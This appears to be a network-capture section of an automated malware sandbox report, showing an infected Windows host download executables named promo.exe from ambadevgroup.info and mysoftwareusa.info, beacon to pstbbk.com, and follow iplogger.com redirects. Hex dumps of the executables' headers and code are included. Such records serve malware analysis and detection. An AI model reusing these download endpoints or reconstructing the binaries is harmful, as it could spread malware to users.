Dec 6, 2023 14:33:21.681030035 CET	1340	IN	HTTP/1.1 200 OK Server: nginx/1.10.0 (Ubuntu) Date: Wed, 06 Dec 2023 13:33:21 GMT Content-Type: application/octet-stream Content-Length: 4724720 Last-Modified: Mon, 24 Jul 2023 06:14:10 GMT Connection: keep-alive ETag: "64be16b2-4817f0" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d6 e7 ac 00 92 86 c2 53 92 86 c2 53 92 86 c2 53 41 f4 c1 52 9f 86 c2 53 41 f4 c7 52 2b 86 c2 53 41 f4 c4 52 93 86 c2 53 f0 fe c6 52 81 86 c2 53 f0 fe c1 52 8a 86 c2 53 f0 fe c7 52 fa 86 c2 53 41 f4 c6 52 88 86 c2 53 41 f4 c3 52 91 86 c2 53 41 f4 c5 52 93 86 c2 53 92 86 c3 53 4f 84 c2 53 12 ff cb 52 df 87 c2 53 12 ff 3d 53 93 86 c2 53 92 86 55 53 93 86 c2 53 12 ff c0 52 93 86 c2 53 52 69 63 68 92 86 c2 53 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 47 fb 67 62 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 1f 00 ae 21 00 00 ee 0d 00 00 00 00 00 44 9e 19 00 00 10 00 00 00 c0 21 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2f 00 00 04 00 00 27 f7 48 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 19 2a 00 28 00 00 00 00 c0 2a 00 c0 bc 02 00 00 00 00 00 00 00 00 00 78 fc 47 00 78 1b 00 00 00 80 2d 00 18 5b 02 00 18 ab 24 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 ab 24 00 18 00 00 00 a8 df 21 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 21 00 cc 02 00 00 18 ed 29 00 60 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1f ad 21 00 00 10 00 00 00 ae 21 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 64 69 08 00 00 c0 21 00 00 6a 08 00 00 b2 21 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 c8 8b 00 00 00 30 2a 00 00 6a 00 00 00 1c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c0 bc 02 00 00 c0 2a 00 00 be 02 00 00 86 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 18 5b 02 00 00 80 2d 00 00 5c 02 00 00 44 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$SSSARSAR+SARSRSRSRSARSARSARSSOSRS=SSUSSRSRichSPELGgb"!D!@/'H@$(xGx-[$p$!@!)`.text!! `.rdatadi!j!@@.data0j@.rsrc**@@.reloc[-\D-@B
Dec 6, 2023 14:33:21.681092024 CET	1340	IN	Data Raw: 00 00 00 00 00 00 00 55 8b ec 6a ff 68 14 10 5c 00 64 a1 00 00 00 00 50 81 ec b0 00 00 00 a1 24 30 6a 00 33 c5 89 45 f0 50 8d 45 f4 64 a3 00 00 00 00 6a 09 ba a0 73 62 00 8d 8d 48 ff ff ff e8 33 62 00 00 c7 45 fc 00 00 00 00 ba b4 73 62 00 6a 09 Data Ascii: Ujh\dP$0j3EPEdjsbH3bEsbj`bEsbjxbEsbjMaEsbjMaEtbjMaEtbjMaEEHPQjITEHh`y@jj
Dec 6, 2023 14:33:21.681145906 CET	1340	IN	Data Raw: fc 15 8b 8d 9c fe ff ff 85 c9 74 1d 8b 01 8b 50 10 8d 85 78 fe ff ff 3b c8 0f 95 c0 50 ff d2 c7 85 9c fe ff ff 00 00 00 00 c7 45 fc 1b 00 00 00 8d 8d a0 fe ff ff 51 8d 45 f0 50 51 e8 70 a1 03 00 c7 45 fc ff ff ff ff 8d 85 a0 fe ff ff 68 10 a3 43 Data Ascii: tPx;PEQEPQpEhCjj0PM~hpaMdYM3}]jhTb@j[haOYjhbAj[ha/Yjhb(Aj[haYj
Dec 6, 2023 14:33:21.681229115 CET	1340	IN	Data Raw: 6a 09 8d 4d 90 e8 61 58 00 00 c6 45 fc 03 ba f0 73 62 00 6a 09 8d 4d a8 e8 4e 58 00 00 c6 45 fc 04 ba 04 74 62 00 6a 05 8d 4d c0 e8 3b 58 00 00 c6 45 fc 05 ba 10 74 62 00 6a 04 8d 4d d8 e8 28 58 00 00 c7 45 fc 06 00 00 00 83 c4 18 8d 45 f0 8d 8d Data Ascii: jMaXEsbjMNXEtbjM;XEtbjM(XEEHPQ`jJEHh`y@jjP&yh@am\|MdYM3x]Ujh\dP$0j3EPEdjsbHWEsb
Dec 6, 2023 14:33:21.681303978 CET	1340	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 e4 f8 81 ec c8 00 00 00 a1 24 30 6a 00 33 c4 89 84 24 c4 00 00 00 8d 0c 24 c7 04 24 60 2e 63 00 51 8d 84 24 c4 00 00 00 c7 44 24 08 00 00 00 00 50 51 b9 9c b0 6a 00 c7 44 Data Ascii: U$0j3$$$`.cQ$D$PQjD$D$.cD$D$ D$$#cD$(D$,D$0.cD$4D$8D$</cD$@D$DD$HH/cD$LD$PD$T/cD$XD$\D$`/cD$
Dec 6, 2023 14:33:21.681348085 CET	1340	IN	Data Raw: dc 51 63 00 c7 45 a4 b4 b0 6a 00 c7 45 a8 03 00 00 00 c7 45 ac a4 51 63 00 c7 45 b0 b4 b0 6a 00 c7 45 b4 04 00 00 00 c7 45 b8 50 52 63 00 c7 45 bc c0 b0 6a 00 c7 45 c0 05 00 00 00 c7 45 c4 14 52 63 00 c7 45 c8 cc b0 6a 00 c7 45 cc 08 00 00 00 c7 Data Ascii: QcEjEEQcEjEEPRcEjEERcEjEERcEjEE\|RcEjE=UUU<@r)G#;PnA#HtWn3jjjEjE
Dec 6, 2023 14:33:21.681437969 CET	1340	IN	Data Raw: 02 33 c0 a3 e4 b1 6a 00 a3 e8 b1 6a 00 03 c6 a3 ec b1 6a 00 c7 45 d4 e4 b1 6a 00 c7 45 fc 00 00 00 00 8d 45 dc ff 75 d8 8b 35 e4 b1 6a 00 50 56 e8 c4 89 19 00 8d 04 be c7 45 d4 00 00 00 00 83 c4 0c a3 e8 b1 6a 00 c7 45 fc ff ff ff ff 68 b0 b5 61 Data Ascii: 3jjjEjEEu5jPVEjEhamMdY_^M3i].AMCUjh_dP$0j3PEdjhjdjjpau\a~yPjj$E
Dec 6, 2023 14:33:21.681509018 CET	1340	IN	Data Raw: 44 6a 00 c7 45 fc 01 00 00 00 c7 45 f0 98 44 6a 00 e8 ed 6f 00 00 85 c0 0f 84 a2 00 00 00 8b 10 8b c8 ff 52 0c 83 c0 10 a3 98 44 6a 00 c6 45 fc 03 c6 05 9c 44 6a 00 01 c7 45 f0 a0 44 6a 00 e8 bf 6f 00 00 85 c0 74 78 8b 10 8b c8 ff 52 0c 83 c0 10 Data Ascii: DjEEDjoRDjEDjEDjotxRDjEEDjotURDjEEDjyot2RDjEha/hMdY]h@khahYtjF5h a
Dec 6, 2023 14:33:21.681586981 CET	1340	IN	Data Raw: fc 09 33 c0 50 c7 05 b8 45 6a 00 00 00 00 00 b9 b8 45 6a 00 c7 05 c8 45 6a 00 00 00 00 00 c7 05 cc 45 6a 00 00 00 00 00 68 4c 74 62 00 c7 05 c8 45 6a 00 00 00 00 00 c7 05 cc 45 6a 00 07 00 00 00 66 a3 b8 45 6a 00 e8 f1 3d 00 00 c6 45 fc 0a 33 c0 Data Ascii: 3PEjEjEjEjhLtbEjEjfEj=E3PEjEjEjEjhLtbEjEjfEj=E3jEjEjEjEjEjfEjhldEjT=E3j
Dec 6, 2023 14:33:21.681660891 CET	1340	IN	Data Raw: 48 47 6a 00 00 00 00 00 b9 48 47 6a 00 c7 05 58 47 6a 00 00 00 00 00 c7 05 5c 47 6a 00 00 00 00 00 68 8c 5c 64 00 c7 05 58 47 6a 00 00 00 00 00 c7 05 5c 47 6a 00 07 00 00 00 66 a3 48 47 6a 00 e8 f2 38 00 00 c6 45 fc 1a 33 c0 50 0f 57 c0 c7 05 68 Data Ascii: HGjHGjXGj\Gjh\dXGj\GjfHGj8E3PWhGjxGjhGj\|GjhLtbf`GjxGj\|GjfhGj8E3PGjGjGjGjhLtbGjGjfGjK8E3P
Dec 6, 2023 14:33:21.864860058 CET	1340	IN	Data Raw: c7 05 e0 48 6a 00 00 00 00 00 b9 e0 48 6a 00 c7 05 f0 48 6a 00 00 00 00 00 c7 05 f4 48 6a 00 00 00 00 00 68 84 6e 64 00 c7 05 f0 48 6a 00 00 00 00 00 c7 05 f4 48 6a 00 07 00 00 00 66 a3 e0 48 6a 00 e8 ea 33 00 00 c6 45 fc 2a c7 05 f8 48 6a 00 00 Data Ascii: HjHjHjHjhndHjHjfHj3E*Hjj3IjIjHjhTudIjIjfHj3E+3jIjIj Ij$Ijhc Ij$IjfIjL3E,W30Ij

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	50126	157.230.96.32	80	6972	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:33:41.532380104 CET	230	OUT	POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=utf-8 User-Agent: AdvancedInstaller Host: pstbbk.com Content-Length: 8 Cache-Control: no-cache
Dec 6, 2023 14:33:41.532458067 CET	62	OUT	Data Raw: 73 69 64 3d 32 35 39 38 Data Ascii: sid=2598
Dec 6, 2023 14:33:42.602147102 CET	238	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 06 Dec 2023 13:33:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	50133	37.1.198.251	80	1992	C:\Users\user\AppData\Local\Temp\is-UKDSG.tmp\setup.tmp

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:33:44.784472942 CET	215	OUT	HEAD /load/1509/promo.exe HTTP/1.1 Accept: / User-Agent: InnoDownloadPlugin/1.5 Host: ambadevgroup.info Connection: Keep-Alive Cache-Control: no-cache
Dec 6, 2023 14:33:45.028826952 CET	349	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Wed, 06 Dec 2023 13:33:44 GMT Content-Type: application/x-msdos-program Content-Length: 1247744 Connection: keep-alive Vary: User-Agent Last-Modified: Sat, 02 Dec 2023 03:41:44 GMT ETag: "130a00-60b7ea9eab3a0" Accept-Ranges: bytes
Dec 6, 2023 14:33:45.067270041 CET	214	OUT	GET /load/1509/promo.exe HTTP/1.1 Accept: / User-Agent: InnoDownloadPlugin/1.5 Host: ambadevgroup.info Connection: Keep-Alive Cache-Control: no-cache
Dec 6, 2023 14:33:45.318173885 CET	1340	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Wed, 06 Dec 2023 13:33:45 GMT Content-Type: application/x-msdos-program Content-Length: 1247744 Connection: keep-alive Vary: User-Agent Last-Modified: Sat, 02 Dec 2023 03:41:44 GMT ETag: "130a00-60b7ea9eab3a0" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 44 a7 6a 65 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 5a 09 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 13 00 00 04 00 00 bb ab 13 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 24 9e 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 12 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 24 9e 05 00 00 40 0d 00 00 a0 05 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 12 00 00 76 00 00 00 94 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELDje"Zw@`@@@d\|@$u4@.text `.rdata@@.datalpH@.rsrc$@@@.relocuv@B
Dec 6, 2023 14:33:45.318237066 CET	1340	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 e8 83 f0 01 00 59 c3 e8 e6 de 01 00 68 f8 23 44 00 e8 72 f0 01 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYV
Dec 6, 2023 14:33:45.318276882 CET	1340	IN	Data Raw: 04 00 00 8b 03 8b 40 04 03 c7 83 b8 98 fb ff ff 00 75 ce ff 15 6c c8 49 00 8b 4f e0 85 c9 0f 85 6b 10 04 00 8b 4f d4 85 c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a Data Ascii: @ulIOkOu3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@
Dec 6, 2023 14:33:45.318320036 CET	296	IN	Data Raw: b5 00 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 Data Ascii: j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_
Dec 6, 2023 14:33:45.318358898 CET	1340	IN	Data Raw: 5d c2 04 00 55 8b ec 56 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 c9 e5 00 00 8a 46 30 88 47 30 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 89 11 40 89 41 0c Data Ascii: ]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jAZ @uSV5I3W
Dec 6, 2023 14:33:45.318396091 CET	1340	IN	Data Raw: 85 97 07 04 00 8a 01 c3 83 39 00 0f 95 c0 c3 8b 41 08 83 78 04 00 eb f3 55 8b ec 53 56 8b 75 08 33 db 57 8a d3 8b 0e 8d 79 01 51 89 3e e8 9c 07 00 00 85 c0 74 1c 89 0d 28 15 4d 00 8b 40 04 8b 00 66 39 58 08 75 05 83 38 21 74 0f 8b cf 84 d2 74 d5 Data Ascii: 9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4AEAEARUE{lM
Dec 6, 2023 14:33:45.318434000 CET	1340	IN	Data Raw: 00 83 6d b4 01 0f 85 4d 05 04 00 eb 10 8b 45 b4 40 89 45 b4 83 f8 01 0f 8f 30 05 04 00 ff 75 e8 8b 5d fc ff 75 f4 8b 45 f8 ff 75 e4 ff 75 e0 53 50 ff 75 f0 57 e8 0f 04 00 00 85 c0 0f 89 08 ff ff ff e9 82 00 00 00 8b 41 04 6a 7f 59 66 39 48 08 0f Data Ascii: mME@E0u]uEuuSPuWAjYf9HEHOTE]ETpXEE;1uuuuSRu3SxMxl`
Dec 6, 2023 14:33:45.318474054 CET	1340	IN	Data Raw: 0c b8 8b d1 8b 44 b8 04 89 4d f4 8b c8 89 45 f8 e8 dc a9 01 00 84 c0 75 13 8b 4e 0c 47 8d 41 ff 3b f8 7c d8 84 db 75 c9 5b 5f eb 8c 8b 46 08 b3 01 8b 4d f8 89 0c b8 8b 46 08 8b 4d f4 89 4c b8 04 eb d6 55 8b ec 83 e4 f8 b8 2c 00 02 00 e8 0e f5 03 Data Ascii: DMEuNGA;\|u[_FMFMLU,SVWL$(D$83Ph\$\$(ID$PuIM3#MG;D$PQhMhM,#MM#MD$D$P$<Ph
Dec 6, 2023 14:33:45.318510056 CET	1340	IN	Data Raw: 15 02 00 59 8b 4e 0c 33 db 8b f8 43 8b 01 3b c3 0f 8f 0c fd 03 00 8b 46 04 8b ce 03 c7 50 e8 69 71 00 00 8b 1e 8d 04 3f 50 8b 46 04 ff 75 08 8d 04 43 50 e8 ed d9 01 00 01 7e 04 83 c4 0c 8b 06 33 d2 8b 4e 04 5f 66 89 14 48 8b c6 5e 5b 5d c2 08 00 Data Ascii: YN3C;FPiq?PFuCP~3N_fH^[]U<EL$S3#MV4If#MW#M#M#M#M#M#M#M#M#M#MDI#M#M#M#M#M#M#M#M#M
Dec 6, 2023 14:33:45.499962091 CET	1340	IN	Data Raw: 84 80 fa 03 00 6a 00 ff 15 d0 c4 49 00 c6 05 68 13 4d 00 01 8b ce e8 07 00 00 00 5f 5e 5b 8b e5 5d c3 55 8b ec 83 e4 f8 81 ec cc 04 00 00 80 3d 68 13 4d 00 00 56 8b f1 0f 84 d4 00 00 00 68 04 01 00 00 8d 4c 24 0c e8 23 29 00 00 80 3d 67 13 4d 00 Data Ascii: jIhM_^[]U=hMVhL$#)=gM93fD$D$PL$1=eMM~`'hML$)$(VjPML$$T$$3F$$ h$(2YD$P$4P
Dec 6, 2023 14:33:45.499991894 CET	1340	IN	Data Raw: 20 1a 4d 00 85 c0 0f 85 b6 f6 03 00 b9 0c 1a 4d 00 e8 72 5a 00 00 b9 fc 19 4d 00 e8 68 5a 00 00 b9 ec 19 4d 00 e8 5e 5a 00 00 b9 dc 19 4d 00 e8 54 5a 00 00 b9 cc 19 4d 00 e8 4a 5a 00 00 b9 bc 19 4d 00 e8 40 5a 00 00 5f b9 ac 19 4d 00 5e e9 34 5a Data Ascii: MMrZMhZM^ZMTZMJZM@Z_M^4ZSQQUkl$0=#MVWE#M<5#M3jZQb=#MY3E#MM~B=#Mv;}=#M3M@MEwEM3j

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	50187	37.1.198.251	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:34:50.620887041 CET	147	OUT	GET /stats/3/0/0 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.4.3 Host: mysoftwareusa.info
Dec 6, 2023 14:34:50.985933065 CET	269	IN	HTTP/1.1 302 Found Server: nginx/1.14.0 (Ubuntu) Date: Wed, 06 Dec 2023 13:34:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 3 Connection: keep-alive location: https://iplogger.com/1gWvm4 Data Raw: ef bb bf Data Ascii:
Dec 6, 2023 14:34:52.376455069 CET	147	OUT	GET /stats/3/1/0 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.4.3 Host: mysoftwareusa.info
Dec 6, 2023 14:34:52.770020008 CET	269	IN	HTTP/1.1 302 Found Server: nginx/1.14.0 (Ubuntu) Date: Wed, 06 Dec 2023 13:34:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 3 Connection: keep-alive location: https://iplogger.com/1gYvm4 Data Raw: ef bb bf Data Ascii:
Dec 6, 2023 14:34:53.636115074 CET	146	OUT	GET /archives/5 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.4.3 Host: mysoftwareusa.info
Dec 6, 2023 14:34:53.926584005 CET	1340	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Wed, 06 Dec 2023 13:34:53 GMT Content-Type: application/octet-stream Content-Length: 2713088 Connection: keep-alive Content-Disposition: attachment; filename=promo.exe Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 da fa 65 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 94 06 00 00 8c 03 00 00 00 00 00 00 50 6a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 6a 00 00 04 00 00 f0 74 29 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6d 60 0a 00 95 00 00 00 00 30 08 00 6a 24 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 61 0a 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 20 08 00 00 10 00 00 00 6e 03 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 6a 24 02 00 00 30 08 00 00 10 01 00 00 7e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 60 0a 00 00 02 00 00 00 8e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 3b 00 00 70 0a 00 00 02 00 00 00 90 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 65 62 65 79 74 7a 6b 00 e0 24 00 00 70 45 00 00 d2 24 00 00 92 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6b 7a 6e 70 66 74 62 00 10 00 00 00 50 6a 00 00 02 00 00 00 64 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 